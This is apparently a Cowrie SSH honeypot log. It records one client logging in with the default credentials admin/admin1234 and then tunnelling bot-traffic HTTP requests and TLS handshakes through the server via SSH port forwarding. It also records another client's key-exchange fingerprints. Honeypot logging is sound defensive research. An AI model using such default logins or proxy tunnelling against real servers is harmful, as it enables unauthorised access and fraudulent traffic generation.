{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:52.018559Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:53.250533Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:53.652974Z","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:53.775661Z","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.088594Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=byM%2BPm9AMnI0cHZmI2d0Pg%3D%3DVKKfn%2Ftsql83bJbhgVZ7ibcwh4z6lMP4sFytSHcG%2FIOTPdEYhJT%2FOS6SZuQaA2YXmp2T0h54CjRmYIT4749Wnqo1FPzLxUltvxp4qB2sCI1Qx%2BIKYe%2Fp8lKAjx%2Fiwz0513o3A4ShKiVZk7Be8vMOywG0aC%2FyElv51b0tijWxAsTqG2dNZStdIQC4Mn%2Fwo%2FjTUB7B5DREQxoZRxaKB%2B1CDE0Ahh5n38yZ6QMPD4oAoL8s2fRxrAscBjQqL%2FibASOvEI6T4O7ALhwA2suDj1TWvlZwLO1PPgYxVw%2FbGntdhDyUzS2x4QanSsFg9goRXAuV67OLln24rRJR0x%2BPStq6EO4eRNEj5mVcgHuUojfhGP%2BTLoVSjWNDG9PQz%2BPee7k0UK%2FDsDjY%2Fnsr%2FOcSIDnnWv%2BUJYAu2puOnR8qcjL%2BzEPMrDSz%2BP4fUhhBuDbzy3Liy8RaDid7xCXQfWGrX%2Fo62%2BpgfHDfvUyh5owAZ7D4LIAoxMOwBdEpWJaNeTgDjnhCqsE1dvpUzm26N5j%2BmPvEE%2B7wyNAS%2BVPcFr7pEuf20FlA9EgJCaoWXlK2oHpyBMkb8RWBoNfpnDe8QIALs66r1%2F9lMpSWYsvd14H6tJXjm9CTt6iEQ1Lp7S%2BgAkXBnTqBA2bMCxyqKZEs05%2BV3o6OAT5Zey9lDBNU2Mx8XTCP7hXYCGusMr6uKxbgyyDQrgLS8LIbjgaYKjUcx7f0I%2BzQDPkRTgQ10yCTOe%2BDIqXZby2SOXMkBicoyIoJ%2BptkuX4ZSf67gTAI4NPmWQ1nguNMIqCb9ULiZrognhN4ZVQoLrPucO9aUi3Mc%2FHTX4y5k34LeEt094r0rKwvITelJJc7bsmALGFnb9SG3XSD%2FVvZb0zy4NQp4rbbsyOGp%2ByQYbbUJM4rT4Gpuz8qAzNLy4ctdnCNrE3%2FS2yTQ2u4RI22fDpPTVTC0zGTCqry7i2jrsGQyDYxni4Sj1ygAJbguMKMNANHEW15IK0FH8PDrrhTCz4cIx6lk2Lag5lpD89v6fK6d0bo9elj3H1RKJ3mFva4ztpMvKv9C1evPYo2yeMT%2ByPbYprz8mxt66pTff3AiR1v'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=byM%2BPm9AMnI0cHZmI2d0Pg%3D%3DVKKfn%2Ftsql83bJbhgVZ7ibcwh4z6lMP4sFytSHcG%2FIOTPdEYhJT%2FOS6SZuQaA2YXmp2T0h54CjRmYIT4749Wnqo1FPzLxUltvxp4qB2sCI1Qx%2BIKYe%2Fp8lKAjx%2Fiwz0513o3A4ShKiVZk7Be8vMOywG0aC%2FyElv51b0tijWxAsTqG2dNZStdIQC4Mn%2Fwo%2FjTUB7B5DREQxoZRxaKB%2B1CDE0Ahh5n38yZ6QMPD4oAoL8s2fRxrAscBjQqL%2FibASOvEI6T4O7ALhwA2suDj1TWvlZwLO1PPgYxVw%2FbGntdhDyUzS2x4QanSsFg9goRXAuV67OLln24rRJR0x%2BPStq6EO4eRNEj5mVcgHuUojfhGP%2BTLoVSjWNDG9PQz%2BPee7k0UK%2FDsDjY%2Fnsr%2FOcSIDnnWv%2BUJYAu2puOnR8qcjL%2BzEPMrDSz%2BP4fUhhBuDbzy3Liy8RaDid7xCXQfWGrX%2Fo62%2BpgfHDfvUyh5owAZ7D4LIAoxMOwBdEpWJaNeTgDjnhCqsE1dvpUzm26N5j%2BmPvEE%2B7wyNAS%2BVPcFr7pEuf20FlA9EgJCaoWXlK2oHpyBMkb8RWBoNfpnDe8QIALs66r1%2F9lMpSWYsvd14H6tJXjm9CTt6iEQ1Lp7S%2BgAkXBnTqBA2bMCxyqKZEs05%2BV3o6OAT5Zey9lDBNU2Mx8XTCP7hXYCGusMr6uKxbgyyDQrgLS8LIbjgaYKjUcx7f0I%2BzQDPkRTgQ10yCTOe%2BDIqXZby2SOXMkBicoyIoJ%2BptkuX4ZSf67gTAI4NPmWQ1nguNMIqCb9ULiZrognhN4ZVQoLrPucO9aUi3Mc%2FHTX4y5k34LeEt094r0rKwvITelJJc7bsmALGFnb9SG3XSD%2FVvZb0zy4NQp4rbbsyOGp%2ByQYbbUJM4rT4Gpuz8qAzNLy4ctdnCNrE3%2FS2yTQ2u4RI22fDpPTVTC0zGTCqry7i2jrsGQyDYxni4Sj1ygAJbguMKMNANHEW15IK0FH8PDrrhTCz4cIx6lk2Lag5lpD89v6fK6d0bo9elj3H1RKJ3mFva4ztpMvKv9C1evPYo2yeMT%2ByPbYprz8mxt66pTff3AiR1v'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.091914Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.359909Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00;v\\xec\\xdf\\xae\\xb6\\x9b\\x9b\\x826\\x9b\\x07S\\xb6\\x8a*\\xc6\\xc4l\\xdb\\xc6\\x83G\\x96P\\xd839h\\xd5\\xd6 \\x18m\\xd1\\x18\\xc0\\\\\\x87\\xd2\\x86\\xf6\\x85\\x10\\x10W\\xc38\\x96>\\x8c\\xacY\\xff\\xf4$\\x08\\xe4\\x88\\xa3\\x96\\xeb\\xa5\\xce\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe7\\\\V\\xf7\\x00~\\x7f\\xba4\\x8aY4f\\x9dMb\\xf9-vg\\x7f\\x01\\x88\\xcaq\\xe9\\xe9\\x1c\\xd9.\\xe5y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00;v\\xec\\xdf\\xae\\xb6\\x9b\\x9b\\x826\\x9b\\x07S\\xb6\\x8a*\\xc6\\xc4l\\xdb\\xc6\\x83G\\x96P\\xd839h\\xd5\\xd6 \\x18m\\xd1\\x18\\xc0\\\\\\x87\\xd2\\x86\\xf6\\x85\\x10\\x10W\\xc38\\x96>\\x8c\\xacY\\xff\\xf4$\\x08\\xe4\\x88\\xa3\\x96\\xeb\\xa5\\xce\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe7\\\\V\\xf7\\x00~\\x7f\\xba4\\x8aY4f\\x9dMb\\xf9-vg\\x7f\\x01\\x88\\xcaq\\xe9\\xe9\\x1c\\xd9.\\xe5y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.363764Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":44448,"dst_ip":"159.203.135.109","dst_port":22,"session":"b33978a6b466","protocol":"ssh","message":"New connection: 182.93.50.90:44448 (159.203.135.109:22) [session: b33978a6b466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.650094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.656410Z","src_ip":"182.93.50.90","session":"b33978a6b466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.871674Z","src_ip":"182.93.50.90","session":"b33978a6b466","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:54.907148Z","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:55.207717Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\x8c\\n-\\t\\xd4^:\\x8bM\\xa0\\xc04\\x01\\x015]!iQ\\x9eC\\xc9iq\\xc7m\\xaf\\xdb\\xfc\\xed\\x94 H\\xa4\\x97\\x9d\\xe8\\x05\\xb3;\\n\\r\\xf0\\xb9\\x0c\\xfb\\xa2\\xb97\\x19\\xfd\\xb0U\\r\\x81\\xf4<\\xaf\\xfaG\\xf6\\xa8~\\xbb\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\x07\\xb8\\xd9\\xe6\\'5N9\\x18\\xa3\\xc5\\xc9u\\xd2\\x08\\xf5|\\xa8$,(P\\x13=JA\\x17\\xe2\\xa8s7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb1\\x8c\\n-\\t\\xd4^:\\x8bM\\xa0\\xc04\\x01\\x015]!iQ\\x9eC\\xc9iq\\xc7m\\xaf\\xdb\\xfc\\xed\\x94 H\\xa4\\x97\\x9d\\xe8\\x05\\xb3;\\n\\r\\xf0\\xb9\\x0c\\xfb\\xa2\\xb97\\x19\\xfd\\xb0U\\r\\x81\\xf4<\\xaf\\xfaG\\xf6\\xa8~\\xbb\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\x07\\xb8\\xd9\\xe6\\'5N9\\x18\\xa3\\xc5\\xc9u\\xd2\\x08\\xf5|\\xa8$,(P\\x13=JA\\x17\\xe2\\xa8s7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:55.210922Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
